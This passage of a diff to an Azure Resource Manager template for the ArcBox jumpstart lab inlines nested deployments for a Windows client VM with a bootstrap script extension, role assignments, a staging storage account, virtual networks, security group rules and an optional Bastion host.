ArcBox you want to deploy. Valid values are: 'Full', 'ITPro'" + } + }, + "deployBastion": { + "type": "bool", + "defaultValue": false, + "metadata": { + "description": "Choice to deploy Bastion to connect to the client VM" + } + }, + "githubUser": { + "type": "string", + "metadata": { + "description": "User github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps" + } + }, + "githubBranch": { + "type": "string", + "metadata": { + "description": "Git branch to use from the forked repo https://github.com/microsoft/azure-arc-jumpstart-apps" + } + }, + "k3sArcClusterName": { + "type": "string", + "defaultValue": "[format('{0}-K3s', parameters('namingPrefix'))]", + "metadata": { + "description": "The name of the K3s cluster" + } + }, + "aksArcClusterName": { + "type": "string", + "defaultValue": "[format('{0}-AKS-Data', parameters('namingPrefix'))]", + "metadata": { + "description": "The name of the AKS cluster" + } + }, + "aksdrArcClusterName": { + "type": "string", + "defaultValue": "[format('{0}-AKS-DR-Data', parameters('namingPrefix'))]", + "metadata": { + "description": "The name of the AKS DR cluster" + } + }, + "addsDomainName": { + "type": "string", + "defaultValue": "jumpstart.local", + "metadata": { + "description": "Domain name for the jumpstart environment" + } + }, + "customLocationRPOID": { + "type": "string", + "defaultValue": "", + "metadata": { + "description": "The custom location RPO ID. This parameter is only needed when deploying the DataOps flavor." + } + }, + "vmsDiskSku": { + "type": "string", + "defaultValue": "Premium_LRS", + "metadata": { + "description": "The SKU of the VMs disk" + } + }, + "debugEnabled": { + "type": "bool", + "defaultValue": false, + "metadata": { + "description": "Use this parameter to enable or disable debug mode for the automation scripts on the client VM, effectively configuring PowerShell ErrorActionPreference to Break. Default is false." + } + }, + "autoShutdownEnabled": { + "type": "bool", + "defaultValue": false + }, + "autoShutdownTime": { + "type": "string", + "defaultValue": "1800" + }, + "autoShutdownTimezone": { + "type": "string", + "defaultValue": "UTC" + }, + "autoShutdownEmailRecipient": { + "type": "string", + "defaultValue": "" + } + }, + "variables": { + "bastionName": "[format('{0}-Bastion', parameters('namingPrefix'))]", + "publicIpAddressName": "[if(equals(parameters('deployBastion'), false()), format('{0}-PIP', parameters('vmName')), format('{0}-PIP', variables('bastionName')))]", + "networkInterfaceName": "[format('{0}-NIC', parameters('vmName'))]", + "osDiskType": "Premium_LRS", + "PublicIPNoBastion": { + "id": "[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIpAddressName'))]" + } + }, + "resources": [ + { + "type": "Microsoft.Network/networkInterfaces", + "apiVersion": "2022-01-01", + "name": "[variables('networkInterfaceName')]", + "location": "[parameters('location')]", + "properties": { + "ipConfigurations": [ + { + "name": "ipconfig1", + "properties": { + "subnet": { + "id": "[parameters('subnetId')]" + }, + "privateIPAllocationMethod": "Dynamic", + "publicIPAddress": "[if(equals(parameters('deployBastion'), false()), variables('PublicIPNoBastion'), null())]" + } + } + ] + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIpAddressName'))]" + ] + }, + { + "condition": "[equals(parameters('deployBastion'), false())]", + "type": "Microsoft.Network/publicIPAddresses", + "apiVersion": "2022-01-01", + "name": "[variables('publicIpAddressName')]", + "location": "[parameters('location')]", + "properties": { + "publicIPAllocationMethod": "Static", + "publicIPAddressVersion": "IPv4", + "idleTimeoutInMinutes": 4 + }, + "sku": { + "name": "Basic" + } + }, + { + "type": "Microsoft.Compute/disks", + "apiVersion": "2023-04-02", + "name": "[format('{0}-VMsDisk', parameters('vmName'))]", + "location": "[parameters('location')]", + "sku": { + "name": "[parameters('vmsDiskSku')]" + }, + "properties": { + "creationData": { + "createOption": "Empty" + }, + "diskSizeGB": 1024, + "burstingEnabled": true + } + }, + { + "type": "Microsoft.Compute/virtualMachines", + "apiVersion": "2022-03-01", + "name": "[parameters('vmName')]", + "location": "[parameters('location')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "hardwareProfile": { + "vmSize": "[if(equals(parameters('flavor'), 'DevOps'), 'Standard_B4ms', if(equals(parameters('flavor'), 'DataOps'), 'Standard_D4s_v5', 'Standard_D8s_v5'))]" + }, + "storageProfile": { + "osDisk": { + "name": "[format('{0}-OSDisk', parameters('vmName'))]", + "caching": "ReadWrite", + "createOption": "FromImage", + "managedDisk": { + "storageAccountType": "[variables('osDiskType')]" + }, + "diskSizeGB": 1024 + }, + "imageReference": { + "publisher": "MicrosoftWindowsServer", + "offer": "WindowsServer", + "sku": "[parameters('windowsOSVersion')]", + "version": "latest" + }, + "dataDisks": [ + { + "createOption": "Attach", + "lun": 0, + "managedDisk": { + "id": "[resourceId('Microsoft.Compute/disks', format('{0}-VMsDisk', parameters('vmName')))]" + } + } + ] + }, + "networkProfile": { + "networkInterfaces": [ + { + "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]" + } + ] + }, + "osProfile": { + "computerName": "[parameters('vmName')]", + "adminUsername": "[parameters('windowsAdminUsername')]", + "adminPassword": "[parameters('windowsAdminPassword')]", + "windowsConfiguration": { + "provisionVMAgent": true, + "enableAutomaticUpdates": false + } + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]", + "[resourceId('Microsoft.Compute/disks', format('{0}-VMsDisk', parameters('vmName')))]" + ] + }, + { + "type": "Microsoft.Compute/virtualMachines/extensions", + "apiVersion": "2022-03-01", + "name": "[format('{0}/{1}', parameters('vmName'), 'Bootstrap')]", + "location": "[parameters('location')]", + "tags": { + "displayName": "config-bootstrap" + }, + "properties": { + "publisher": "Microsoft.Compute", + "type": "CustomScriptExtension", + "typeHandlerVersion": "1.10", + "autoUpgradeMinorVersion": true, + "protectedSettings": { + "fileUris": [ + "[uri(parameters('templateBaseUrl'), 'artifacts/Bootstrap.ps1')]" + ], + "commandToExecute": "[format('powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername {0} -adminPassword {1} -tenantId {2} -spnAuthority {3} -subscriptionId {4} -resourceGroup {5} -azdataUsername {6} -azdataPassword {7} -acceptEula {8} -registryUsername {9} -registryPassword {10} -arcDcName {11} -azureLocation {12} -mssqlmiName {13} -POSTGRES_NAME {14} -POSTGRES_WORKER_NODE_COUNT {15} -POSTGRES_DATASIZE {16} -POSTGRES_SERVICE_TYPE {17} -stagingStorageAccountName {18} -workspaceName {19} -templateBaseUrl {20} -flavor {21} -k3sArcDataClusterName {22} -k3sArcClusterName {23} -aksArcClusterName {24} -aksdrArcClusterName {25} -githubUser {26} -githubBranch {27} -vmAutologon {28} -rdpPort {29} -addsDomainName {30} -customLocationRPOID {31} -resourceTags {32} -namingPrefix {33} -debugEnabled {34}', parameters('windowsAdminUsername'), parameters('windowsAdminPassword'), parameters('tenantId'), parameters('spnAuthority'), subscription().subscriptionId, resourceGroup().name, parameters('azdataUsername'), parameters('azdataPassword'), parameters('acceptEula'), parameters('registryUsername'), parameters('registryPassword'), parameters('arcDcName'), parameters('location'), parameters('mssqlmiName'), parameters('postgresName'), parameters('postgresWorkerNodeCount'), parameters('postgresDatasize'), parameters('postgresServiceType'), parameters('stagingStorageAccountName'), parameters('workspaceName'), parameters('templateBaseUrl'), parameters('flavor'), parameters('k3sArcDataClusterName'), parameters('k3sArcClusterName'), parameters('aksArcClusterName'), parameters('aksdrArcClusterName'), parameters('githubUser'), parameters('githubBranch'), parameters('vmAutologon'), parameters('rdpPort'), parameters('addsDomainName'), parameters('customLocationRPOID'), parameters('resourceTags'), parameters('namingPrefix'), parameters('debugEnabled'))]" + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Administrator')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '00482a5a-887f-4fb3-b363-3b7fe8e74483')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, + { + "condition": "[parameters('autoShutdownEnabled')]", + "type": "Microsoft.DevTestLab/schedules", + "apiVersion": "2018-09-15", + "name": "[format('shutdown-computevm-{0}', parameters('vmName'))]", + "location": "[parameters('location')]", + "properties": { + "status": "Enabled", + "taskType": "ComputeVmShutdownTask", + "dailyRecurrence": { + "time": "[parameters('autoShutdownTime')]" + }, + "timeZoneId": "[parameters('autoShutdownTimezone')]", + "notificationSettings": { + "status": "Enabled", + "timeInMinutes": 30, + "webhookUrl": "", + "emailRecipient": "[parameters('autoShutdownEmailRecipient')]", + "notificationLocale": "en" + }, + "targetResourceId": "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + } + ], + "outputs": { + "adminUsername": { + "type": "string", + "value": "[parameters('windowsAdminUsername')]" + }, + "publicIP": { + "type": "string", + "value": "[if(equals(parameters('deployBastion'), false()), concat(reference(resourceId('Microsoft.Network/publicIPAddresses', variables('publicIpAddressName')), '2022-01-01').ipAddress), '')]" + } } } - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'ubuntuRancherK3sDataSvcDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'ubuntuRancherK3sDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'updateVNetDNSServers')]" + ] }, { "type": "Microsoft.Resources/deployments", - "apiVersion": "2021-04-01", + "apiVersion": "2022-09-01", "name": "stagingStorageAccountDeployment", "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, "mode": "Incremental", - "templateLink": { - "uri": "[variables('mgmtStagingStorageUrl')]", - "contentVersion": "1.0.0.0" + "parameters": { + "location": { + "value": "[parameters('location')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "8653137040194732155" + } + }, + "parameters": { + "storageAccountType": { + "type": "string", + "defaultValue": "Standard_LRS", + "allowedValues": [ + "Standard_LRS", + "Standard_GRS", + "Standard_ZRS", + "Premium_LRS" + ], + "metadata": { + "description": "Storage Account type" + } + }, + "location": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Location for all resources." + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } + } + }, + "variables": { + "storageAccountName": "[format('{0}{1}', parameters('namingPrefix'), uniqueString(resourceGroup().id))]" + }, + "resources": [ + { + "type": "Microsoft.Storage/storageAccounts", + "apiVersion": "2022-05-01", + "name": "[toLower(variables('storageAccountName'))]", + "location": "[parameters('location')]", + "sku": { + "name": "[parameters('storageAccountType')]" + }, + "kind": "StorageV2", + "properties": { + "supportsHttpsTrafficOnly": true, + "isLocalUserEnabled": false, + "allowSharedKeyAccess": false + } + } + ], + "outputs": { + "storageAccountName": { + "type": "string", + "value": "[variables('storageAccountName')]" + } + } } } }, { "type": "Microsoft.Resources/deployments", - "apiVersion": "2021-04-01", + "apiVersion": "2022-09-01", "name": "mgmtArtifactsAndPolicyDeployment", "properties": { - "mode": "Incremental", - "templateLink": { - "uri": "[variables('mgmtTemplateUrl')]", - "contentVersion": "1.0.0.0" + "expressionEvaluationOptions": { + "scope": "inner" }, + "mode": "Incremental", "parameters": { "workspaceName": { "value": "[parameters('logAnalyticsWorkspaceName')]" }, - "templateBaseUrl": { - "value": "[variables('templateBaseUrl')]" - }, "flavor": { "value": "[parameters('flavor')]" }, "deployBastion": { "value": "[parameters('deployBastion')]" + }, + "bastionSku": { + "value": "[parameters('bastionSku')]" + }, + "location": { + "value": "[parameters('location')]" + }, + "resourceTags": { + "value": "[parameters('resourceTags')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "1172818642563861188" + } + }, + "parameters": { + "virtualNetworkName": { + "type": "string", + "defaultValue": "[format('{0}-VNet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the VNet" + } + }, + "subnetName": { + "type": "string", + "defaultValue": "[format('{0}-Subnet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the subnet in the virtual network" + } + }, + "aksSubnetName": { + "type": "string", + "defaultValue": "[format('{0}-AKS-Subnet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the subnet in the virtual network" + } + }, + "dcSubnetName": { + "type": "string", + "defaultValue": "[format('{0}-DC-Subnet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the Domain Controller subnet in the virtual network" + } + }, + "drVirtualNetworkName": { + "type": "string", + "defaultValue": "[format('{0}-DR-VNet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the DR VNet" + } + }, + "drSubnetName": { + "type": "string", + "defaultValue": "[format('{0}-DR-Subnet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the DR subnet in the DR virtual network" + } + }, + "workspaceName": { + "type": "string", + "metadata": { + "description": "Name for your log analytics workspace" + } + }, + "flavor": { + "type": "string", + "allowedValues": [ + "ITPro", + "DevOps", + "DataOps" + ], + "metadata": { + "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro'" + } + }, + "location": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Azure Region to deploy the Log Analytics Workspace" + } + }, + "sku": { + "type": "string", + "defaultValue": "pergb2018", + "metadata": { + "description": "SKU, leave default pergb2018" + } + }, + "deployBastion": { + "type": "bool", + "defaultValue": false, + "metadata": { + "description": "Choice to deploy Bastion to connect to the client VM" + } + }, + "bastionSku": { + "type": "string", + "defaultValue": "Basic", + "allowedValues": [ + "Basic", + "Standard", + "Developer" + ], + "metadata": { + "description": "Bastion host Sku name" + } + }, + "networkSecurityGroupName": { + "type": "string", + "defaultValue": "[format('{0}-NSG', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the Network Security Group" + } + }, + "bastionNetworkSecurityGroupName": { + "type": "string", + "defaultValue": "[format('{0}-Bastion-NSG', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the Bastion Network Security Group" + } + }, + "dnsServers": { + "type": "array", + "defaultValue": [], + "metadata": { + "description": "DNS Server configuration" + } + }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" + }, + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } + } + }, + "variables": { + "keyVaultName": "[toLower(format('{0}{1}', parameters('namingPrefix'), uniqueString(resourceGroup().id)))]", + "security": { + "name": "[format('Security({0})', parameters('workspaceName'))]", + "galleryName": "Security" + }, + "subnetAddressPrefix": "10.16.1.0/24", + "addressPrefix": "10.16.0.0/16", + "aksSubnetPrefix": "10.16.76.0/22", + "dcSubnetPrefix": "10.16.2.0/24", + "drAddressPrefix": "172.16.0.0/16", + "drSubnetPrefix": "172.16.128.0/17", + "bastionSubnetName": "AzureBastionSubnet", + "bastionSubnetRef": "[format('{0}/subnets/{1}', resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName')), variables('bastionSubnetName'))]", + "bastionName": "[format('{0}-Bastion', parameters('namingPrefix'))]", + "bastionSubnetIpPrefix": "10.16.3.64/26", + "bastionPublicIpAddressName": "[format('{0}-PIP', variables('bastionName'))]", + "primarySubnet": [ + { + "name": "[parameters('subnetName')]", + "properties": { + "addressPrefix": "[variables('subnetAddressPrefix')]", + "privateEndpointNetworkPolicies": "Enabled", + "privateLinkServiceNetworkPolicies": "Enabled", + "networkSecurityGroup": { + "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + } + } + } + ], + "bastionSubnet": "[if(not(equals(parameters('bastionSku'), 'Developer')), createArray(createObject('name', 'AzureBastionSubnet', 'properties', createObject('addressPrefix', variables('bastionSubnetIpPrefix'), 'networkSecurityGroup', createObject('id', resourceId('Microsoft.Network/networkSecurityGroups', parameters('bastionNetworkSecurityGroupName')))))), createArray())]", + "dataOpsSubnets": [ + { + "name": "[parameters('aksSubnetName')]", + "properties": { + "addressPrefix": "[variables('aksSubnetPrefix')]", + "privateEndpointNetworkPolicies": "Enabled", + "privateLinkServiceNetworkPolicies": "Enabled", + "networkSecurityGroup": { + "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + } + } + }, + { + "name": "[parameters('dcSubnetName')]", + "properties": { + "addressPrefix": "[variables('dcSubnetPrefix')]", + "privateEndpointNetworkPolicies": "Enabled", + "privateLinkServiceNetworkPolicies": "Enabled", + "networkSecurityGroup": { + "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + } + } + } + ] + }, + "resources": [ + { + "type": "Microsoft.Network/virtualNetworks", + "apiVersion": "2022-01-01", + "name": "[parameters('virtualNetworkName')]", + "location": "[parameters('location')]", + "properties": { + "addressSpace": { + "addressPrefixes": [ + "[variables('addressPrefix')]" + ] + }, + "dhcpOptions": { + "dnsServers": "[parameters('dnsServers')]" + }, + "subnets": "[if(and(equals(parameters('deployBastion'), false()), not(equals(parameters('flavor'), 'DataOps'))), variables('primarySubnet'), if(and(equals(parameters('deployBastion'), false()), equals(parameters('flavor'), 'DataOps')), union(variables('primarySubnet'), variables('dataOpsSubnets')), if(and(equals(parameters('deployBastion'), true()), not(equals(parameters('flavor'), 'DataOps'))), union(variables('primarySubnet'), variables('bastionSubnet')), if(and(equals(parameters('deployBastion'), true()), equals(parameters('flavor'), 'DataOps')), union(variables('primarySubnet'), variables('bastionSubnet'), variables('dataOpsSubnets')), variables('primarySubnet')))))]" + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('bastionNetworkSecurityGroupName'))]", + "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "condition": "[equals(parameters('flavor'), 'DataOps')]", + "type": "Microsoft.Network/virtualNetworks", + "apiVersion": "2022-01-01", + "name": "[parameters('drVirtualNetworkName')]", + "location": "[parameters('location')]", + "properties": { + "addressSpace": { + "addressPrefixes": [ + "[variables('drAddressPrefix')]" + ] + }, + "dhcpOptions": { + "dnsServers": "[parameters('dnsServers')]" + }, + "subnets": [ + { + "name": "[parameters('drSubnetName')]", + "properties": { + "addressPrefix": "[variables('drSubnetPrefix')]", + "networkSecurityGroup": { + "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + } + } + } + ] + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "condition": "[equals(parameters('flavor'), 'DataOps')]", + "type": "Microsoft.Network/virtualNetworks/virtualNetworkPeerings", + "apiVersion": "2022-01-01", + "name": "[format('{0}/{1}', parameters('virtualNetworkName'), 'peering-to-DR-vnet')]", + "properties": { + "allowVirtualNetworkAccess": true, + "allowForwardedTraffic": true, + "allowGatewayTransit": false, + "useRemoteGateways": false, + "remoteVirtualNetwork": { + "id": "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]" + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", + "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "condition": "[equals(parameters('flavor'), 'DataOps')]", + "type": "Microsoft.Network/virtualNetworks/virtualNetworkPeerings", + "apiVersion": "2022-01-01", + "name": "[format('{0}/{1}', parameters('drVirtualNetworkName'), 'peering-to-primary-vnet')]", + "properties": { + "allowVirtualNetworkAccess": true, + "allowForwardedTraffic": true, + "allowGatewayTransit": false, + "useRemoteGateways": false, + "remoteVirtualNetwork": { + "id": "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]" + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", + "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "type": "Microsoft.Network/networkSecurityGroups", + "apiVersion": "2022-01-01", + "name": "[parameters('networkSecurityGroupName')]", + "location": "[parameters('location')]", + "properties": { + "securityRules": [ + { + "name": "allow_k8s_80", + "properties": { + "priority": 1003, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "80" + } + }, + { + "name": "allow_k8s_8080", + "properties": { + "priority": 1004, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "8080" + } + }, + { + "name": "allow_k8s_443", + "properties": { + "priority": 1005, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "443" + } + }, + { + "name": "allow_k8s_kubelet", + "properties": { + "priority": 1006, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "10250" + } + }, + { + "name": "allow_traefik_lb_external", + "properties": { + "priority": 1007, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "32323" + } + }, + { + "name": "allow_SQLMI_traffic", + "properties": { + "priority": 1008, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "11433" + } + }, + { + "name": "allow_Postgresql_traffic", + "properties": { + "priority": 1009, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "15432" + } + }, + { + "name": "allow_SQLMI_mirroring_traffic", + "properties": { + "priority": 1012, + "protocol": "TCP", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "5022" + } + } + ] + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "condition": "[equals(parameters('deployBastion'), true())]", + "type": "Microsoft.Network/networkSecurityGroups", + "apiVersion": "2022-01-01", + "name": "[parameters('bastionNetworkSecurityGroupName')]", + "location": "[parameters('location')]", + "properties": { + "securityRules": [ + { + "name": "bastion_allow_https_inbound", + "properties": { + "priority": 1010, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "Internet", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "443" + } + }, + { + "name": "bastion_allow_gateway_manager_inbound", + "properties": { + "priority": 1011, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "GatewayManager", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "443" + } + }, + { + "name": "bastion_allow_load_balancer_inbound", + "properties": { + "priority": 1012, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "AzureLoadBalancer", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "443" + } + }, + { + "name": "bastion_allow_host_comms", + "properties": { + "priority": 1013, + "protocol": "*", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "VirtualNetwork", + "sourcePortRange": "*", + "destinationAddressPrefix": "VirtualNetwork", + "destinationPortRanges": [ + "8080", + "5701" + ] + } + }, + { + "name": "bastion_allow_ssh_rdp_outbound", + "properties": { + "priority": 1014, + "protocol": "*", + "access": "Allow", + "direction": "Outbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "VirtualNetwork", + "destinationPortRanges": [ + "22", + "3389" + ] + } + }, + { + "name": "bastion_allow_azure_cloud_outbound", + "properties": { + "priority": 1015, + "protocol": "Tcp", + "access": "Allow", + "direction": "Outbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "AzureCloud", + "destinationPortRange": "443" + } + }, + { + "name": "bastion_allow_bastion_comms", + "properties": { + "priority": 1016, + "protocol": "*", + "access": "Allow", + "direction": "Outbound", + "sourceAddressPrefix": "VirtualNetwork", + "sourcePortRange": "*", + "destinationAddressPrefix": "VirtualNetwork", + "destinationPortRanges": [ + "8080", + "5701" + ] + } + }, + { + "name": "bastion_allow_get_session_info", + "properties": { + "priority": 1017, + "protocol": "*", + "access": "Allow", + "direction": "Outbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "Internet", + "destinationPortRanges": [ + "80", + "443" + ] + } + } + ] + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "type": "Microsoft.OperationalInsights/workspaces", + "apiVersion": "2021-06-01", + "name": "[parameters('workspaceName')]", + "location": "[parameters('location')]", + "tags": "[parameters('resourceTags')]", + "properties": { + "sku": { + "name": "[parameters('sku')]" + } + } + }, + { + "type": "Microsoft.OperationsManagement/solutions", + "apiVersion": "2015-11-01-preview", + "name": "[variables('security').name]", + "location": "[parameters('location')]", + "properties": { + "workspaceResourceId": "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" + }, + "plan": { + "name": "[variables('security').name]", + "promotionCode": "", + "product": "[format('OMSGallery/{0}', variables('security').galleryName)]", + "publisher": "Microsoft" + }, + "dependsOn": [ + "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" + ] + }, + { + "condition": "[equals(parameters('deployBastion'), true())]", + "type": "Microsoft.Network/publicIPAddresses", + "apiVersion": "2022-01-01", + "name": "[variables('bastionPublicIpAddressName')]", + "location": "[parameters('location')]", + "properties": { + "publicIPAllocationMethod": "Static", + "publicIPAddressVersion": "IPv4", + "idleTimeoutInMinutes": 4 + }, + "sku": { + "name": "Standard" + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "condition": "[equals(parameters('deployBastion'), true())]", + "type": "Microsoft.Network/bastionHosts", + "apiVersion": "2023-11-01", + "name": "[variables('bastionName')]", + "location": "[parameters('location')]", + "sku": { + "name": "[parameters('bastionSku')]" + }, + "properties": { + "virtualNetwork": "[if(equals(parameters('bastionSku'), 'Developer'), createObject('id', resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))), null())]", + "ipConfigurations": "[if(not(equals(parameters('bastionSku'), 'Developer')), createArray(createObject('name', 'IpConf', 'properties', createObject('publicIPAddress', createObject('id', resourceId('Microsoft.Network/publicIPAddresses', variables('bastionPublicIpAddressName'))), 'subnet', createObject('id', variables('bastionSubnetRef'))))), null())]" + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]", + "[resourceId('Microsoft.Network/publicIPAddresses', variables('bastionPublicIpAddressName'))]" + ] + }, + { + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "policyDeployment", + "properties": { + 